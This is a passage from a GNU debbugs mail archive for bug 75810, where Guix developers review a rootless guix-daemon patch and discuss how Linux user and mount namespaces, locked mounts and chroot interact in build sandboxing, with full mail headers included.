 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tsbgY-0005zi-0q
 for 75810 <at> debbugs.gnu.org; Thu, 13 Mar 2025 02:04:51 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=5PXUtpEXOmb/rV3oRBecYxEL2EkTFWFs+YWRwPjHlZQ=; b=bvS7bFG+R+5yrKTjjRUT7uAE0I
 0awMXWhnop8whL+caXxuObtPWPFqzqCTt7z5UBA9oLHwKeyqnGDrD8s7edBw==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=5PXUtpEXOmb/rV3oRBecYxEL2EkTFWFs+YWRwPjHlZQ=; b=B89ZiyZ0MdgC04vVl+/QApbu/L
 YzLKvMmpd1d36j8tSXuN3Qntnj9B1jqb4S6ep286gTgEedLex2lu7f4/50fwXkpdzOdZFryNXJFtV
 7aIt5vF1pVYiOvZh7R+VCBkarF61B5Z/XoLwpPh0kgnqui1MGnNrogvAPH1SEZdB36djEC/KKlORN
 Y37qi1Kv7/FxNPgHcTe3tT2jI50xAqs9Ixy/HSy2oAGA9oe/QQyJ5FRtMK/CvYzo6F3mzN7XXiUsf
 b3pXivQ3HPYlRriCZfa/S4xT94MP5Ye24SFThFhepcd7WsFT6cN0e3Bok0MmRkf/md9i/+9ZeAqc7
 NX28yePWpkDWpK5OwwsL7Bw3L/nnpNBHdxLtvKTu4ziiM1HkYb2+4jd5SuIHikCoxy+3Ofg4gbj7J
 ZnnjT4FZWNvze+sitPlR06p9h8mW4j1DdecBufIeEq6gC8nFAfHgY89lGxdHzvOJGbBBqgYE7Z7OX
 bRQ3e+qLDv4z6RozxOTRSmphlURJoiDtprysq8zeoLraacwPeJZixNWZomH/LlbxtBTlmagbuZg4g
 D/FkcGUk4GGjuAeR2oUXzv7Psdmso2oG3zJ6bfaLOclVYxKqLQ7eNJpjbe+SBONsEzBEq6FqHpbkt
 6gHtDKA5RHrF1RcmmI0MxA6fUWeCH3QaexDsPViQA=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tsbgT-000000003Yr-0UVs; Thu, 13 Mar 2025 01:04:46 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: bug#75810: [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87h63xyjdh.fsf_-_@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s?=
 =?utf-8?Q?=22's?= message of "Wed, 12 Mar 2025 23:27:54 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN> <87y0xbivsh.fsf_-_@HIDDEN>
 <87plin5j3u.fsf@HIDDEN> <87h63xyjdh.fsf_-_@HIDDEN>
Date: Thu, 13 Mar 2025 01:04:09 -0500
Message-ID: <87ldt95uw6.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I tried running
   a build that sleeps and then joining its namespaces but > failed: > > $ pgrep
    -fa builder > 16091 guile --no-auto-compile -L /home/ludo/src/guix/test-tmp/store/ngrj4gl9lrbmbklcsbgcrq
    [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.2 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I tried running
   a build that sleeps and then joining its namespaces but > failed: > > $ pgrep
    -fa builder > 16091 guile --no-auto-compile -L /home/ludo/src/guix/test-tmp/store/ngrj4gl9lrbmbklcsbgcrq
    [...] 
 
 Content analysis details:   (1.2 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.2 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I tried running
   a build that sleeps and then joining its namespaces but > failed: > > $ pgrep
    -fa builder > 16091 guile --no-auto-compile -L /home/ludo/src/guix/test-tmp/store/ngrj4gl9lrbmbklcsbgcrq
    [...] 
 
 Content analysis details:   (1.2 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> I tried running a build that sleeps and then joining its namespaces but
> failed:
>
> $ pgrep -fa builder
> 16091 guile --no-auto-compile -L /home/ludo/src/guix/test-tmp/store/ngrj4=
gl9lrbmbklcsbgcrq622n9nf0jw-module-import -C /home/ludo/src/guix/test-tmp/s=
tore/cskis66zjnhk28h11lbaxkd3j9lyzz6a-module-import-compiled /home/ludo/src=
/guix/test-tmp/store/akndbdx1lmnigf8bi29dr0vd3c8dbdrg-attempt-to-unmount-in=
put-builder
> $ nsenter -m -u -i -n -p -U  -t 16091=20
> nsenter: reassociate to namespace 'ns/ipc' failed: Operation not permitted
> $ guix container exec 16091 /bin/sh
> guix container: error: setns: 7 0: Operation not permitted
> guix container: error: process exited with status 1

I failed to take into account that the setns sequence needs to start by
joining the user namespace that owns all the other namespaces, so as to
gain the necessary capabilities for joining them.  But after unshare
creates the second user namespace, that first user namespace no longer
has a process in it; it only still exists due to indirect references.
Without a process to reference it by, we can't join it.  Trying to join
the user namespace of the builder instead joins the inner user
namespace, then tries to use the acquired credentials to join the
namespaces owned by the outer user namespace, which naturally fails.

> If you can think of ways to do that, I=E2=80=99m all ears.  :-)

It looks like the only easy way to test this - aside from something like
scripted gdb playthroughs - might legitimately be to include a test
inside the daemon itself.

> You can try from the =E2=80=98wip-rootless-daemon=E2=80=99 at
> <https://codeberg.org/civodul/guix> and apply the patch I sent earlier.
>
> (Incidentally, I don=E2=80=99t think we could write an automated test for=
 that;
> in theory we could use (guix scripts processes) to determine the PID of
> the build process but that would be too brittle, especially when running
> =E2=80=9Cmake check -j123=E2=80=9D where it could pick the wrong guix-dae=
mon process.)

If we included a randomly-generated string in the command line or
environment of something in the build environment, and then went looking
through /proc for the matching process, it could work.  But it's moot if
we put this particular test inside the daemon.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfSdVoXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJy2xggAgu2EedTltMnb4uCddN+SkvDU
LcZj2WRsVkFmP+fSbJwbJh7VgrAwNHGFPKi+MD1dmvvu1nEMgGnvD/05SRfod8za
078uNIF3+0/W3rXHm4U7SqqfbpwG0pSylSLBET9QYeqTpPQvypE6p5GzQMkKJAgp
/oMXrArSQB6i7NOZgUz8/azYbnAx/OIBjnVpA4Pbl55kRLSoDfyUeJkHkphqHgc2
uxRCx71rzpvJacnEk7e4hyU6j+mKrd/d7DyRdGQXPR/6lqMdLOX0SVLIKxA62CWu
TMq0sIQiMOJuyXuuJa+/dVtVt/qSLJa3TwaPz/ZWsp5tm7l9quEfGnR+UaP5bA==
=MZlY
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 12 Mar 2025 22:28:10 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Wed Mar 12 18:28:10 2025
Received: from localhost ([127.0.0.1]:52134 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tsUYc-00036K-7i
	for submit <at> debbugs.gnu.org; Wed, 12 Mar 2025 18:28:10 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:59042)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tsUYZ-00035l-Nl
 for 75810 <at> debbugs.gnu.org; Wed, 12 Mar 2025 18:28:08 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 960CB3B3;
 Wed, 12 Mar 2025 23:28:00 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id gJdJDbryLUP9; Wed, 12 Mar 2025 23:27:59 +0100 (CET)
Received: from ribbon (unknown [83.118.207.42])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id 551C726D;
 Wed, 12 Mar 2025 23:27:59 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: bug#75810: [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87plin5j3u.fsf@HIDDEN> (Reepca Russelstein's message of
 "Tue, 11 Mar 2025 16:54:13 -0500")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN> <87y0xbivsh.fsf_-_@HIDDEN>
 <87plin5j3u.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
Date: Wed, 12 Mar 2025 23:27:54 +0100
Message-ID: <87h63xyjdh.fsf_-_@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Rspamd-Server: hera
X-Rspamd-Queue-Id: 960CB3B3
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[text/plain]; RCVD_COUNT_TWO(0.00)[2];
 FROM_EQ_ENVFROM(0.00)[]; MIME_TRACE(0.00)[0:+];
 RCPT_COUNT_TWO(0.00)[2]; ARC_NA(0.00)[];
 TO_MATCH_ENVRCPT_ALL(0.00)[]; RCVD_VIA_SMTP_AUTH(0.00)[];
 RCVD_TLS_ALL(0.00)[]; FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spamd-Bar: ++++
X-Rspamd-Action: no action
X-Spam-Level: ****
X-Spam-Score: 1.7 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi, Reepca Russelstein <reepca@HIDDEN> skribis: >>
    For some reason, it’s not working as advertised: mounts are seemingly >>
    not locked together and umount(2) on one of them returns EPERM (instead >>
    of EINVAL). I suspect chroot, pivot_root, & co. [...] 
 
 Content analysis details:   (1.7 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 0.7 (/)

Hi,

Reepca Russelstein <reepca@HIDDEN> skribis:

>> For some reason, it=E2=80=99s not working as advertised: mounts are seem=
ingly
>> not locked together and umount(2) on one of them returns EPERM (instead
>> of EINVAL).  I suspect chroot, pivot_root, & co. spoil it all.
>
> What this shows is that we're not currently testing the mount-locking
> because the builder lacks the necessary capability in its user namespace
> (this capability was removed from the effective set when the builder was
> exec'ed).  That is, the kernel doesn't get as far as checking whether
> the mount is locked because the caller wouldn't have the permission to
> unmount it even if it weren't locked.

Oh my.  These clumsy semantics just can=E2=80=99t fit in my head.

> One way to test this would be to use setns (perhaps via
> container-excursion) to enter the namespaces of the builder, which
> will cause you to start out with a full set of effective capabilities
> in its user namespace, then try umount.  Or a test could be done
> within the daemon shortly prior to exec.

I tried running a build that sleeps and then joining its namespaces but
failed:

--8<---------------cut here---------------start------------->8---
$ pgrep -fa builder
16091 guile --no-auto-compile -L /home/ludo/src/guix/test-tmp/store/ngrj4gl=
9lrbmbklcsbgcrq622n9nf0jw-module-import -C /home/ludo/src/guix/test-tmp/sto=
re/cskis66zjnhk28h11lbaxkd3j9lyzz6a-module-import-compiled /home/ludo/src/g=
uix/test-tmp/store/akndbdx1lmnigf8bi29dr0vd3c8dbdrg-attempt-to-unmount-inpu=
t-builder
$ nsenter -m -u -i -n -p -U  -t 16091=20
nsenter: reassociate to namespace 'ns/ipc' failed: Operation not permitted
$ guix container exec 16091 /bin/sh
guix container: error: setns: 7 0: Operation not permitted
guix container: error: process exited with status 1
--8<---------------cut here---------------end--------------->8---

If you can think of ways to do that, I=E2=80=99m all ears.  :-)

You can try from the =E2=80=98wip-rootless-daemon=E2=80=99 at
<https://codeberg.org/civodul/guix> and apply the patch I sent earlier.

(Incidentally, I don=E2=80=99t think we could write an automated test for t=
hat;
in theory we could use (guix scripts processes) to determine the PID of
the build process but that would be too brittle, especially when running
=E2=80=9Cmake check -j123=E2=80=9D where it could pick the wrong guix-daemo=
n process.)

> Note that we still need to initialize /proc/self/uid_map and friends for
> the new user namespace, if I understand correctly.

Yes, I left that for later (it triggers a test failure anyway, so we
won=E2=80=99t forget.)

> My reading of user_namespaces(7) is that it should be possible to do
> this from within the new user namespace.

Oh, interesting.

> I hadn't heard of that restriction on unshare and clone.  Thinking about
> it, I suppose the reason could be that merely creating a user namespace
> grants CAP_SYS_CHROOT, and because the current root directory is a
> per-process property whose setting isn't limited by any namespace, it
> would be possible to undo a chroot someone had tried to set as a
> restriction on the current process by just calling chroot("/").  But if
> we use pivot_root in conjunction with it, like we do in the daemon, it
> should work.

Interesting.  Thanks for your guidance, as always!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 11 Mar 2025 21:55:05 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Mar 11 17:55:05 2025
Received: from localhost ([127.0.0.1]:46153 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1ts7Z2-0005NT-Qi
	for submit <at> debbugs.gnu.org; Tue, 11 Mar 2025 17:55:05 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:41612)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1ts7Yz-0005LH-LA
 for 75810 <at> debbugs.gnu.org; Tue, 11 Mar 2025 17:55:03 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=Tww7v3t80TrTb0dJeblC2JZ7T08c5ffrURyQ9YdEbUM=; b=h5p7HAvlfq3w2eLu8/XnsTSvsF
 7igRsE8Pn+I69DeVOzPIJDt4N7lNmyMhybqOSawWyaeEriBnFviHGGzEPwBg==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=Tww7v3t80TrTb0dJeblC2JZ7T08c5ffrURyQ9YdEbUM=; b=kdCIiyV8/ByPzUJ3B/7TayG0C8
 5hjPVASxCNtfj9HLP4/p4qRip5sTdG1QV4eIAAqsq1ry895t27ZEuk9Oj3VjpzgJCUtsz89b8LrRT
 cP51HPQa/a8FGbnpxfLRLvvtZXWSIbR0VPe5J5v+hqjODSClrczpHxXOX/5y/V7nwKMgp66jRlNZE
 yZgx1WcchEf2iqlNS5AApIF8f1NpsQf80wrMwFQlGtlB7JltsKtouwUQZRv9yvknNqyc0h19qrHy8
 RODo49Jxl6U8QIz1ia45aRo3LcStvUZANY5oPe4xYg5U6gOu4cVEiFbtvUqQd8W+xdckiAEXWiBQ2
 5XGr/H7V4Otvaw908zALrZWQFG/flNgwvOtQ8RLe+xVgN5bWXTZ8TLawJnjfRTFGzWNHBzHCpgirP
 FMwphrNmITm5c/k6J+jJ/6mv/CLj5wOJ85y/LMKsa7JfuoctdO9qgfmrwjxcpoERsarQizPgmEE7U
 qTZcoKCKqTIczB/RFBL8a2wMkWBLQgXC4oxQDMuDGyzPtlORD049jOa07hsK+iIn1yFQe5l+QF5Tz
 htWabERcwdosD9d7Ig+1yTACDiMYGiTK/469sL8PmUC8mxFpXj8vh0OmTKWqz5V3maURXSReUDJ9z
 LaUFJdwG7iECjF0wOnnSDidkcY7+sEBvkfYpaVe8s=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1ts7Yt-000000007cf-2q0B; Tue, 11 Mar 2025 16:54:57 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: Locked mounts
In-Reply-To: <87y0xbivsh.fsf_-_@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s?=
 =?utf-8?Q?=22's?= message of "Tue, 11 Mar 2025 13:41:50 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN> <87y0xbivsh.fsf_-_@HIDDEN>
Date: Tue, 11 Mar 2025 16:54:13 -0500
Message-ID: <87plin5j3u.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> I still think it
    would be a good idea to call unshare to create an extra >> user and mount
    namespace just before executing the builder in the >> unprivileged case,
   just to be sure that the mount-lo [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 0.9 (/)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 0.9 (/)

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

>> I still think it would be a good idea to call unshare to create an extra
>> user and mount namespace just before executing the builder in the
>> unprivileged case, just to be sure that the mount-locking behavior is
>> triggered in a way that is documented.
>
> For some reason, it=E2=80=99s not working as advertised: mounts are seemi=
ngly
> not locked together and umount(2) on one of them returns EPERM (instead
> of EINVAL).  I suspect chroot, pivot_root, & co. spoil it all.

What this shows is that we're not currently testing the mount-locking
because the builder lacks the necessary capability in its user namespace
(this capability was removed from the effective set when the builder was
exec'ed).  That is, the kernel doesn't get as far as checking whether
the mount is locked because the caller wouldn't have the permission to
unmount it even if it weren't locked.  One way to test this would be to
use setns (perhaps via container-excursion) to enter the namespaces of
the builder, which will cause you to start out with a full set of
effective capabilities in its user namespace, then try umount.  Or a
test could be done within the daemon shortly prior to exec.

> Attached is a patch and test case.

[...]

> diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
> index 057a15ccd0..6a6a960a1c 100644
> --- a/nix/libstore/build.cc
> +++ b/nix/libstore/build.cc
> @@ -2244,6 +2244,13 @@ void DerivationGoal::runChild()
>  	    /* Remount root as read-only.  */
>              if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) =
=3D=3D -1)
>                  throw SysError(format("read-only remount of build root '=
%1%' failed") % chrootRootDir);
> +
> +	    if (getuid() !=3D 0) {
> +		/* Create a new mount namespace to "lock" previous mounts.
> +		   See mount_namespaces(7).  */
> +		if (unshare(CLONE_NEWNS | CLONE_NEWUSER) =3D=3D -1)
> +		    throw SysError(format("creating new user and mount namespaces"));
> +	    }
>          }
>  #endif

Note that we still need to initialize /proc/self/uid_map and friends for
the new user namespace, if I understand correctly.  My reading of
user_namespaces(7) is that it should be possible to do this from within
the new user namespace.

> To be sure, I wrote a minimal C program: umount returns EINVAL as
> expected.  However, when compiling it with -DWITH_CHROOT, unshare(2)
> fails with EPERM because =E2=80=9Cthe caller's root directory does not ma=
tch the
> root directory of the mount namespace in which it resides=E2=80=9D (quoti=
ng
> unshare(2)).
>
> So I now get the idea of =E2=80=9Clocked mounts=E2=80=9D but I=E2=80=99m =
at loss as to how this
> is supposed to interact with chroots.

I hadn't heard of that restriction on unshare and clone.  Thinking about
it, I suppose the reason could be that merely creating a user namespace
grants CAP_SYS_CHROOT, and because the current root directory is a
per-process property whose setting isn't limited by any namespace, it
would be possible to undo a chroot someone had tried to set as a
restriction on the current process by just calling chroot("/").  But if
we use pivot_root in conjunction with it, like we do in the daemon, it
should work.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfQsQUXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJwI/gf/VU39xMV5XNF1/gGoUyScZOS/
oZ1o6htatQElE+jiCcLs4RCCgCZDXeUc47byMljmQPTpY1NUw1IYB9jnjFxw1/Q3
qvYnE1+O91QZwd1b05nIm0QSOcNHdE+LDJm66ZWluIgtgLtDojBeem02+MlkHWxy
Gvmu7YbBMUqLC0wqBIuzBmxsV8+X46Vu+YeuYYJP+09Ir04LFlamCCHJt+MaFjES
nHD7rIsUrbQJg5coX0Lkguqhy2HNW/G1aPIlgDI+7PHD+2leR3cWWg9B0cTuwrc+
53bpmNdeLJoPc7CUG01exQBHnA+SlrO99k1Ts/YFe5I8N0jCTcYQaSHb2BXx+w==
=9uMu
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
